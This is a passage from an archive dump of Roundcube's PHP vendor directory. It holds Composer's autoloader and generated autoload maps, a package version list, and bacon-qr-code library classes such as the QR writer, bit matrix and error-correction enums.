        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    /**
     * Returns the currently registered loaders keyed by their corresponding vendor directories.
     *
     * @return array<string, self>
     */
    public static function getRegisteredLoaders()
    {
        return self::$registeredLoaders;
    }

    /**
     * @param  string       $class
     * @param  string       $ext
     * @return string|false
     */
    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }

    /**
     * @return void
     */
    private static function initializeIncludeClosure()
    {
        if (self::$includeFile !== null) {
            return;
        }

        /**
         * Scope isolated include.
         *
         * Prevents access to $this/self from included files.
         *
         * @param  string $file
         * @return void
         */
        self::$includeFile = \Closure::bind(static function($file) {
            include $file;
        }, null, null);
    }
}
PKh�\�k���"vendor/composer/autoload_files.phpnu�[���<?php

// autoload_files.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
    '7b11c4dc42b3b3023073cb14e519683c' => $vendorDir . '/ralouphie/getallheaders/src/getallheaders.php',
    '6e3fae29631ef280660b3cdad06f25a8' => $vendorDir . '/symfony/deprecation-contracts/function.php',
    '37a3dc5111fe8f707ab4c132ef1dbc62' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php',
);
PKh�\�)�)vendor/composer/installed.phpnu�[���<?php return array(
    'root' => array(
        'name' => 'roundcube/roundcubemail',
        'pretty_version' => '1.0.0+no-version-set',
        'version' => '1.0.0.0',
        'reference' => null,
        'type' => 'library',
        'install_path' => __DIR__ . '/../../',
        'aliases' => array(),
        'dev' => false,
    ),
    'versions' => array(
        'bacon/bacon-qr-code' => array(
            'pretty_version' => '2.0.8',
            'version' => '2.0.8.0',
            'reference' => '8674e51bb65af933a5ffaf1c308a660387c35c22',
            'type' => 'library',
            'install_path' => __DIR__ . '/../bacon/bacon-qr-code',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'dasprid/enum' => array(
            'pretty_version' => '1.0.5',
            'version' => '1.0.5.0',
            'reference' => '6faf451159fb8ba4126b925ed2d78acfce0dc016',
            'type' => 'library',
            'install_path' => __DIR__ . '/../dasprid/enum',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'guzzlehttp/guzzle' => array(
            'pretty_version' => '7.8.1',
            'version' => '7.8.1.0',
            'reference' => '41042bc7ab002487b876a0683fc8dce04ddce104',
            'type' => 'library',
            'install_path' => __DIR__ . '/../guzzlehttp/guzzle',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'guzzlehttp/promises' => array(
            'pretty_version' => '2.0.2',
            'version' => '2.0.2.0',
            'reference' => 'bbff78d96034045e58e13dedd6ad91b5d1253223',
            'type' => 'library',
            'install_path' => __DIR__ . '/../guzzlehttp/promises',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'guzzlehttp/psr7' => array(
            'pretty_version' => '2.6.2',
            'version' => '2.6.2.0',
            'reference' => '45b30f99ac27b5ca93cb4831afe16285f57b8221',
            'type' => 'library',
            'install_path' => __DIR__ . '/../guzzlehttp/psr7',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'kolab/net_ldap3' => array(
            'pretty_version' => 'v1.1.5',
            'version' => '1.1.5.0',
            'reference' => '5a319cf437d75aad564ce7fd076cc5423722868b',
            'type' => 'library',
            'install_path' => __DIR__ . '/../kolab/net_ldap3',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'masterminds/html5' => array(
            'pretty_version' => '2.7.6',
            'version' => '2.7.6.0',
            'reference' => '897eb517a343a2281f11bc5556d6548db7d93947',
            'type' => 'library',
            'install_path' => __DIR__ . '/../masterminds/html5',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'pear/auth_sasl' => array(
            'pretty_version' => 'v1.1.0',
            'version' => '1.1.0.0',
            'reference' => 'db1ead3dc0bf986d2bab0dbc04d114800cf91dee',
            'type' => 'library',
            'install_path' => __DIR__ . '/../pear/auth_sasl',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'pear/console_commandline' => array(
            'pretty_version' => 'v1.2.6',
            'version' => '1.2.6.0',
            'reference' => '611c5bff2e47ec5a184748cb5fedc2869098ff28',
            'type' => 'library',
            'install_path' => __DIR__ . '/../pear/console_commandline',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'pear/console_getopt' => array(
            'pretty_version' => 'v1.4.3',
            'version' => '1.4.3.0',
            'reference' => 'a41f8d3e668987609178c7c4a9fe48fecac53fa0',
            'type' => 'library',
            'install_path' => __DIR__ . '/../pear/console_getopt',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'pear/crypt_gpg' => array(
            'pretty_version' => 'v1.6.9',
            'version' => '1.6.9.0',
            'reference' => '1572e126f8c8e083af6db1ebe43fcd9c7954537c',
            'type' => 'library',
            'install_path' => __DIR__ . '/../pear/crypt_gpg',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'pear/mail_mime' => array(
            'pretty_version' => '1.10.12',
            'version' => '1.10.12.0',
            'reference' => 'd032c7c9335e96d5954ac6e93d33955f3b7246e2',
            'type' => 'library',
            'install_path' => __DIR__ . '/../pear/mail_mime',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'pear/net_ldap2' => array(
            'pretty_version' => 'v2.3.0',
            'version' => '2.3.0.0',
            'reference' => '6eae6d20533469ffe1c01684923cd09f0fae3b77',
            'type' => 'library',
            'install_path' => __DIR__ . '/../pear/net_ldap2',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'pear/net_sieve' => array(
            'pretty_version' => '1.4.7',
            'version' => '1.4.7.0',
            'reference' => '31b3ef38d75e681d5589c5ed2267314b79c1dfe8',
            'type' => 'library',
            'install_path' => __DIR__ . '/../pear/net_sieve',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'pear/net_smtp' => array(
            'pretty_version' => '1.10.1',
            'version' => '1.10.1.0',
            'reference' => 'cfd963dc5cc73b4d64c7769e47dfa0f439dec536',
            'type' => 'library',
            'install_path' => __DIR__ . '/../pear/net_smtp',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'pear/net_socket' => array(
            'pretty_version' => 'v1.2.2',
            'version' => '1.2.2.0',
            'reference' => 'bbe6a12bb4f7059dba161f6ddd43f369c0ec8d09',
            'type' => 'library',
            'install_path' => __DIR__ . '/../pear/net_socket',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'pear/pear-core-minimal' => array(
            'pretty_version' => 'v1.10.15',
            'version' => '1.10.15.0',
            'reference' => 'ce0adade8b97561656ace07cdaac4751c271ea8c',
            'type' => 'library',
            'install_path' => __DIR__ . '/../pear/pear-core-minimal',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'pear/pear_exception' => array(
            'pretty_version' => 'v1.0.2',
            'version' => '1.0.2.0',
            'reference' => 'b14fbe2ddb0b9f94f5b24cf08783d599f776fff0',
            'type' => 'class',
            'install_path' => __DIR__ . '/../pear/pear_exception',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'psr/http-client' => array(
            'pretty_version' => '1.0.3',
            'version' => '1.0.3.0',
            'reference' => 'bb5906edc1c324c9a05aa0873d40117941e5fa90',
            'type' => 'library',
            'install_path' => __DIR__ . '/../psr/http-client',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'psr/http-client-implementation' => array(
            'dev_requirement' => false,
            'provided' => array(
                0 => '1.0',
            ),
        ),
        'psr/http-factory' => array(
            'pretty_version' => '1.1.0',
            'version' => '1.1.0.0',
            'reference' => '2b4765fddfe3b508ac62f829e852b1501d3f6e8a',
            'type' => 'library',
            'install_path' => __DIR__ . '/../psr/http-factory',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'psr/http-factory-implementation' => array(
            'dev_requirement' => false,
            'provided' => array(
                0 => '1.0',
            ),
        ),
        'psr/http-message' => array(
            'pretty_version' => '2.0',
            'version' => '2.0.0.0',
            'reference' => '402d35bcb92c70c026d1a6a9883f06b2ead23d71',
            'type' => 'library',
            'install_path' => __DIR__ . '/../psr/http-message',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'psr/http-message-implementation' => array(
            'dev_requirement' => false,
            'provided' => array(
                0 => '1.0',
            ),
        ),
        'ralouphie/getallheaders' => array(
            'pretty_version' => '3.0.3',
            'version' => '3.0.3.0',
            'reference' => '120b605dfeb996808c31b6477290a714d356e822',
            'type' => 'library',
            'install_path' => __DIR__ . '/../ralouphie/getallheaders',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'roundcube/plugin-installer' => array(
            'pretty_version' => '0.3.7',
            'version' => '0.3.7.0',
            'reference' => 'f77c307b7d4e4000cb423cc3fac69fb1a9187aad',
            'type' => 'composer-plugin',
            'install_path' => __DIR__ . '/../roundcube/plugin-installer',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'roundcube/roundcubemail' => array(
            'pretty_version' => '1.0.0+no-version-set',
            'version' => '1.0.0.0',
            'reference' => null,
            'type' => 'library',
            'install_path' => __DIR__ . '/../../',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'roundcube/rtf-html-php' => array(
            'pretty_version' => 'v2.2',
            'version' => '2.2.0.0',
            'reference' => 'a3432ca249b73bf24fec50114191a63ad8b1478c',
            'type' => 'library',
            'install_path' => __DIR__ . '/../roundcube/rtf-html-php',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
        'rsky/pear-core-min' => array(
            'dev_requirement' => false,
            'replaced' => array(
                0 => 'v1.10.15',
            ),
        ),
        'symfony/deprecation-contracts' => array(
            'pretty_version' => 'v2.5.3',
            'version' => '2.5.3.0',
            'reference' => '80d075412b557d41002320b96a096ca65aa2c98d',
            'type' => 'library',
            'install_path' => __DIR__ . '/../symfony/deprecation-contracts',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
    ),
);
PKh�\�]p�

!vendor/composer/include_paths.phpnu�[���<?php

// include_paths.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
    $vendorDir . '/pear/pear_exception',
    $vendorDir . '/pear/console_getopt',
    $vendorDir . '/pear/pear-core-minimal/src',
    $vendorDir . '/pear/net_ldap2',
    $vendorDir . '/pear/auth_sasl',
    $vendorDir . '/pear/console_commandline',
    $vendorDir . '/pear/crypt_gpg',
    $vendorDir . '/pear/mail_mime',
    $vendorDir . '/pear/net_socket',
    $vendorDir . '/pear/net_smtp',
);
PKh�\���99!vendor/composer/autoload_real.phpnu�[���<?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInitd30534b7ccef70d5be1f4ba9bc89dbe4
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        require __DIR__ . '/platform_check.php';

        spl_autoload_register(array('ComposerAutoloaderInitd30534b7ccef70d5be1f4ba9bc89dbe4', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__));
        spl_autoload_unregister(array('ComposerAutoloaderInitd30534b7ccef70d5be1f4ba9bc89dbe4', 'loadClassLoader'));

        $includePaths = require __DIR__ . '/include_paths.php';
        $includePaths[] = get_include_path();
        set_include_path(implode(PATH_SEPARATOR, $includePaths));

        require __DIR__ . '/autoload_static.php';
        call_user_func(\Composer\Autoload\ComposerStaticInitd30534b7ccef70d5be1f4ba9bc89dbe4::getInitializer($loader));

        $loader->register(true);

        $filesToLoad = \Composer\Autoload\ComposerStaticInitd30534b7ccef70d5be1f4ba9bc89dbe4::$files;
        $requireFile = \Closure::bind(static function ($fileIdentifier, $file) {
            if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;

                require $file;
            }
        }, null, null);
        foreach ($filesToLoad as $fileIdentifier => $file) {
            $requireFile($fileIdentifier, $file);
        }

        return $loader;
    }
}
PKh�\�3�2��!vendor/composer/autoload_psr4.phpnu�[���<?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
    'RtfHtmlPhp\\' => array($vendorDir . '/roundcube/rtf-html-php/src'),
    'Roundcube\\Composer\\' => array($vendorDir . '/roundcube/plugin-installer/src'),
    'Psr\\Http\\Message\\' => array($vendorDir . '/psr/http-message/src', $vendorDir . '/psr/http-factory/src'),
    'Psr\\Http\\Client\\' => array($vendorDir . '/psr/http-client/src'),
    'Masterminds\\' => array($vendorDir . '/masterminds/html5/src'),
    'GuzzleHttp\\Psr7\\' => array($vendorDir . '/guzzlehttp/psr7/src'),
    'GuzzleHttp\\Promise\\' => array($vendorDir . '/guzzlehttp/promises/src'),
    'GuzzleHttp\\' => array($vendorDir . '/guzzlehttp/guzzle/src'),
    'DASPRiD\\Enum\\' => array($vendorDir . '/dasprid/enum/src'),
    'BaconQrCode\\' => array($vendorDir . '/bacon/bacon-qr-code/src'),
);
PKh�\*����'vendor/composer/autoload_namespaces.phpnu�[���<?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
    'Net' => array($vendorDir . '/pear/net_socket', $vendorDir . '/pear/net_smtp'),
    'Mail' => array($vendorDir . '/pear/mail_mime'),
    'Console' => array($vendorDir . '/pear/console_getopt', $vendorDir . '/pear/console_commandline'),
    'Auth' => array($vendorDir . '/pear/auth_sasl'),
);
PKh�\U�@@)vendor/bacon/bacon-qr-code/src/Writer.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode;

use BaconQrCode\Common\ErrorCorrectionLevel;
use BaconQrCode\Common\Version;
use BaconQrCode\Encoder\Encoder;
use BaconQrCode\Exception\InvalidArgumentException;
use BaconQrCode\Renderer\RendererInterface;

/**
 * QR code writer.
 */
final class Writer
{
    /**
     * Renderer instance.
     *
     * @var RendererInterface
     */
    private $renderer;

    /**
     * Creates a new writer with a specific renderer.
     */
    public function __construct(RendererInterface $renderer)
    {
        $this->renderer = $renderer;
    }

    /**
     * Writes QR code and returns it as string.
     *
     * Content is a string which *should* be encoded in UTF-8, in case there are
     * non ASCII-characters present.
     *
     * @throws InvalidArgumentException if the content is empty
     */
    public function writeString(
        string $content,
        string $encoding = Encoder::DEFAULT_BYTE_MODE_ECODING,
        ?ErrorCorrectionLevel $ecLevel = null,
        ?Version $forcedVersion = null
    ) : string {
        if (strlen($content) === 0) {
            throw new InvalidArgumentException('Found empty contents');
        }

        if (null === $ecLevel) {
            $ecLevel = ErrorCorrectionLevel::L();
        }

        return $this->renderer->render(Encoder::encode($content, $ecLevel, $encoding, $forcedVersion));
    }

    /**
     * Writes QR code to a file.
     *
     * @see Writer::writeString()
     */
    public function writeFile(
        string $content,
        string $filename,
        string $encoding = Encoder::DEFAULT_BYTE_MODE_ECODING,
        ?ErrorCorrectionLevel $ecLevel = null,
        ?Version $forcedVersion = null
    ) : void {
        file_put_contents($filename, $this->writeString($content, $encoding, $ecLevel, $forcedVersion));
    }
}
PKh�\�����Evendor/bacon/bacon-qr-code/src/Exception/UnexpectedValueException.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Exception;

final class UnexpectedValueException extends \UnexpectedValueException implements ExceptionInterface
{
}
PKh�\y&��Avendor/bacon/bacon-qr-code/src/Exception/OutOfBoundsException.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Exception;

final class OutOfBoundsException extends \OutOfBoundsException implements ExceptionInterface
{
}
PKh�\6�����Evendor/bacon/bacon-qr-code/src/Exception/InvalidArgumentException.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Exception;

final class InvalidArgumentException extends \InvalidArgumentException implements ExceptionInterface
{
}
PKh�\"�s���?vendor/bacon/bacon-qr-code/src/Exception/ExceptionInterface.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Exception;

use Throwable;

interface ExceptionInterface extends Throwable
{
}
PKh�\3/f!��=vendor/bacon/bacon-qr-code/src/Exception/RuntimeException.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Exception;

final class RuntimeException extends \RuntimeException implements ExceptionInterface
{
}
PKh�\��-��<vendor/bacon/bacon-qr-code/src/Exception/WriterException.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Exception;

final class WriterException extends \RuntimeException implements ExceptionInterface
{
}
PKh�\JJ�o883vendor/bacon/bacon-qr-code/src/Common/BitMatrix.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Common;

use BaconQrCode\Exception\InvalidArgumentException;
use SplFixedArray;

/**
 * Bit matrix.
 *
 * Represents a 2D matrix of bits. In function arguments below, and throughout
 * the common module, x is the column position, and y is the row position. The
 * ordering is always x, y. The origin is at the top-left.
 */
class BitMatrix
{
    /**
     * Width of the bit matrix.
     *
     * @var int
     */
    private $width;

    /**
     * Height of the bit matrix.
     *
     * @var int
     */
    private $height;

    /**
     * Size in bits of each individual row.
     *
     * @var int
     */
    private $rowSize;

    /**
     * Bits representation.
     *
     * @var SplFixedArray<int>
     */
    private $bits;

    /**
     * @throws InvalidArgumentException if a dimension is smaller than zero
     */
    public function __construct(int $width, int $height = null)
    {
        if (null === $height) {
            $height = $width;
        }

        if ($width < 1 || $height < 1) {
            throw new InvalidArgumentException('Both dimensions must be greater than zero');
        }

        $this->width = $width;
        $this->height = $height;
        $this->rowSize = ($width + 31) >> 5;
        $this->bits = SplFixedArray::fromArray(array_fill(0, $this->rowSize * $height, 0));
    }

    /**
     * Gets the requested bit, where true means black.
     */
    public function get(int $x, int $y) : bool
    {
        $offset = $y * $this->rowSize + ($x >> 5);
        return 0 !== (BitUtils::unsignedRightShift($this->bits[$offset], ($x & 0x1f)) & 1);
    }

    /**
     * Sets the given bit to true.
     */
    public function set(int $x, int $y) : void
    {
        $offset = $y * $this->rowSize + ($x >> 5);
        $this->bits[$offset] = $this->bits[$offset] | (1 << ($x & 0x1f));
    }

    /**
     * Flips the given bit.
     */
    public function flip(int $x, int $y) : void
    {
        $offset = $y * $this->rowSize + ($x >> 5);
        $this->bits[$offset] = $this->bits[$offset] ^ (1 << ($x & 0x1f));
    }

    /**
     * Clears all bits (set to false).
     */
    public function clear() : void
    {
        $max = count($this->bits);

        for ($i = 0; $i < $max; ++$i) {
            $this->bits[$i] = 0;
        }
    }

    /**
     * Sets a square region of the bit matrix to true.
     *
     * @throws InvalidArgumentException if left or top are negative
     * @throws InvalidArgumentException if width or height are smaller than 1
     * @throws InvalidArgumentException if region does not fit into the matix
     */
    public function setRegion(int $left, int $top, int $width, int $height) : void
    {
        if ($top < 0 || $left < 0) {
            throw new InvalidArgumentException('Left and top must be non-negative');
        }

        if ($height < 1 || $width < 1) {
            throw new InvalidArgumentException('Width and height must be at least 1');
        }

        $right = $left + $width;
        $bottom = $top + $height;

        if ($bottom > $this->height || $right > $this->width) {
            throw new InvalidArgumentException('The region must fit inside the matrix');
        }

        for ($y = $top; $y < $bottom; ++$y) {
            $offset = $y * $this->rowSize;

            for ($x = $left; $x < $right; ++$x) {
                $index = $offset + ($x >> 5);
                $this->bits[$index] = $this->bits[$index] | (1 << ($x & 0x1f));
            }
        }
    }

    /**
     * A fast method to retrieve one row of data from the matrix as a BitArray.
     */
    public function getRow(int $y, BitArray $row = null) : BitArray
    {
        if (null === $row || $row->getSize() < $this->width) {
            $row = new BitArray($this->width);
        }

        $offset = $y * $this->rowSize;

        for ($x = 0; $x < $this->rowSize; ++$x) {
            $row->setBulk($x << 5, $this->bits[$offset + $x]);
        }

        return $row;
    }

    /**
     * Sets a row of data from a BitArray.
     */
    public function setRow(int $y, BitArray $row) : void
    {
        $bits = $row->getBitArray();

        for ($i = 0; $i < $this->rowSize; ++$i) {
            $this->bits[$y * $this->rowSize + $i] = $bits[$i];
        }
    }

    /**
     * This is useful in detecting the enclosing rectangle of a 'pure' barcode.
     *
     * @return int[]|null
     */
    public function getEnclosingRectangle() : ?array
    {
        $left = $this->width;
        $top = $this->height;
        $right = -1;
        $bottom = -1;

        for ($y = 0; $y < $this->height; ++$y) {
            for ($x32 = 0; $x32 < $this->rowSize; ++$x32) {
                $bits = $this->bits[$y * $this->rowSize + $x32];

                if (0 !== $bits) {
                    if ($y < $top) {
                        $top = $y;
                    }

                    if ($y > $bottom) {
                        $bottom = $y;
                    }

                    if ($x32 * 32 < $left) {
                        $bit = 0;

                        while (($bits << (31 - $bit)) === 0) {
                            $bit++;
                        }

                        if (($x32 * 32 + $bit) < $left) {
                            $left = $x32 * 32 + $bit;
                        }
                    }
                }

                if ($x32 * 32 + 31 > $right) {
                    $bit = 31;

                    while (0 === BitUtils::unsignedRightShift($bits, $bit)) {
                        --$bit;
                    }

                    if (($x32 * 32 + $bit) > $right) {
                        $right = $x32 * 32 + $bit;
                    }
                }
            }
        }

        $width = $right - $left;
        $height = $bottom - $top;

        if ($width < 0 || $height < 0) {
            return null;
        }

        return [$left, $top, $width, $height];
    }

    /**
     * Gets the most top left set bit.
     *
     * This is useful in detecting a corner of a 'pure' barcode.
     *
     * @return int[]|null
     */
    public function getTopLeftOnBit() : ?array
    {
        $bitsOffset = 0;

        while ($bitsOffset < count($this->bits) && 0 === $this->bits[$bitsOffset]) {
            ++$bitsOffset;
        }

        if (count($this->bits) === $bitsOffset) {
            return null;
        }

        $x = intdiv($bitsOffset, $this->rowSize);
        $y = ($bitsOffset % $this->rowSize) << 5;

        $bits = $this->bits[$bitsOffset];
        $bit = 0;

        while (0 === ($bits << (31 - $bit))) {
            ++$bit;
        }

        $x += $bit;

        return [$x, $y];
    }

    /**
     * Gets the most bottom right set bit.
     *
     * This is useful in detecting a corner of a 'pure' barcode.
     *
     * @return int[]|null
     */
    public function getBottomRightOnBit() : ?array
    {
        $bitsOffset = count($this->bits) - 1;

        while ($bitsOffset >= 0 && 0 === $this->bits[$bitsOffset]) {
            --$bitsOffset;
        }

        if ($bitsOffset < 0) {
            return null;
        }

        $x = intdiv($bitsOffset, $this->rowSize);
        $y = ($bitsOffset % $this->rowSize) << 5;

        $bits = $this->bits[$bitsOffset];
        $bit  = 0;

        while (0 === BitUtils::unsignedRightShift($bits, $bit)) {
            --$bit;
        }

        $x += $bit;

        return [$x, $y];
    }

    /**
     * Gets the width of the matrix,
     */
    public function getWidth() : int
    {
        return $this->width;
    }

    /**
     * Gets the height of the matrix.
     */
    public function getHeight() : int
    {
        return $this->height;
    }
}
PKh�\}@v==>vendor/bacon/bacon-qr-code/src/Common/ErrorCorrectionLevel.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Common;

use BaconQrCode\Exception\OutOfBoundsException;
use DASPRiD\Enum\AbstractEnum;

/**
 * Enum representing the four error correction levels.
 *
 * @method static self L() ~7% correction
 * @method static self M() ~15% correction
 * @method static self Q() ~25% correction
 * @method static self H() ~30% correction
 */
final class ErrorCorrectionLevel extends AbstractEnum
{
    protected const L = [0x01];
    protected const M = [0x00];
    protected const Q = [0x03];
    protected const H = [0x02];

    /**
     * @var int
     */
    private $bits;

    protected function __construct(int $bits)
    {
        $this->bits = $bits;
    }

    /**
     * @throws OutOfBoundsException if number of bits is invalid
     */
    public static function forBits(int $bits) : self
    {
        switch ($bits) {
            case 0:
                return self::M();

            case 1:
                return self::L();

            case 2:
                return self::H();

            case 3:
                return self::Q();
        }

        throw new OutOfBoundsException('Invalid number of bits');
    }

    /**
     * Returns the two bits used to encode this error correction level.
     */
    public function getBits() : int
    {
        return $this->bits;
    }
}
PKh�\���.��9vendor/bacon/bacon-qr-code/src/Common/CharacterSetEci.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Common;

use BaconQrCode\Exception\InvalidArgumentException;
use DASPRiD\Enum\AbstractEnum;

/**
 * Encapsulates a Character Set ECI, according to "Extended Channel Interpretations" 5.3.1.1 of ISO 18004.
 *
 * @method static self CP437()
 * @method static self ISO8859_1()
 * @method static self ISO8859_2()
 * @method static self ISO8859_3()
 * @method static self ISO8859_4()
 * @method static self ISO8859_5()
 * @method static self ISO8859_6()
 * @method static self ISO8859_7()
 * @method static self ISO8859_8()
 * @method static self ISO8859_9()
 * @method static self ISO8859_10()
 * @method static self ISO8859_11()
 * @method static self ISO8859_12()
 * @method static self ISO8859_13()
 * @method static self ISO8859_14()
 * @method static self ISO8859_15()
 * @method static self ISO8859_16()
 * @method static self SJIS()
 * @method static self CP1250()
 * @method static self CP1251()
 * @method static self CP1252()
 * @method static self CP1256()
 * @method static self UNICODE_BIG_UNMARKED()
 * @method static self UTF8()
 * @method static self ASCII()
 * @method static self BIG5()
 * @method static self GB18030()
 * @method static self EUC_KR()
 */
final class CharacterSetEci extends AbstractEnum
{
    protected const CP437 = [[0, 2]];
    protected const ISO8859_1 = [[1, 3], 'ISO-8859-1'];
    protected const ISO8859_2 = [[4], 'ISO-8859-2'];
    protected const ISO8859_3 = [[5], 'ISO-8859-3'];
    protected const ISO8859_4 = [[6], 'ISO-8859-4'];
    protected const ISO8859_5 = [[7], 'ISO-8859-5'];
    protected const ISO8859_6 = [[8], 'ISO-8859-6'];
    protected const ISO8859_7 = [[9], 'ISO-8859-7'];
    protected const ISO8859_8 = [[10], 'ISO-8859-8'];
    protected const ISO8859_9 = [[11], 'ISO-8859-9'];
    protected const ISO8859_10 = [[12], 'ISO-8859-10'];
    protected const ISO8859_11 = [[13], 'ISO-8859-11'];
    protected const ISO8859_12 = [[14], 'ISO-8859-12'];
    protected const ISO8859_13 = [[15], 'ISO-8859-13'];
    protected const ISO8859_14 = [[16], 'ISO-8859-14'];
    protected const ISO8859_15 = [[17], 'ISO-8859-15'];
    protected const ISO8859_16 = [[18], 'ISO-8859-16'];
    protected const SJIS = [[20], 'Shift_JIS'];
    protected const CP1250 = [[21], 'windows-1250'];
    protected const CP1251 = [[22], 'windows-1251'];
    protected const CP1252 = [[23], 'windows-1252'];
    protected const CP1256 = [[24], 'windows-1256'];
    protected const UNICODE_BIG_UNMARKED = [[25], 'UTF-16BE', 'UnicodeBig'];
    protected const UTF8 = [[26], 'UTF-8'];
    protected const ASCII = [[27, 170], 'US-ASCII'];
    protected const BIG5 = [[28]];
    protected const GB18030 = [[29], 'GB2312', 'EUC_CN', 'GBK'];
    protected const EUC_KR = [[30], 'EUC-KR'];

    /**
     * @var int[]
     */
    private $values;

    /**
     * @var string[]
     */
    private $otherEncodingNames;

    /**
     * @var array<int, self>|null
     */
    private static $valueToEci;

    /**
     * @var array<string, self>|null
     */
    private static $nameToEci;

    /**
     * @param int[] $values
     */
    public function __construct(array $values, string ...$otherEncodingNames)
    {
        $this->values = $values;
        $this->otherEncodingNames = $otherEncodingNames;
    }

    /**
     * Returns the primary value.
     */
    public function getValue() : int
    {
        return $this->values[0];
    }

    /**
     * Gets character set ECI by value.
     *
     * Returns the representing ECI of a given value, or null if it is legal but unsupported.
     *
     * @throws InvalidArgumentException if value is not between 0 and 900
     */
    public static function getCharacterSetEciByValue(int $value) : ?self
    {
        if ($value < 0 || $value >= 900) {
            throw new InvalidArgumentException('Value must be between 0 and 900');
        }

        $valueToEci = self::valueToEci();

        if (! array_key_exists($value, $valueToEci)) {
            return null;
        }

        return $valueToEci[$value];
    }

    /**
     * Returns character set ECI by name.
     *
     * Returns the representing ECI of a given name, or null if it is legal but unsupported
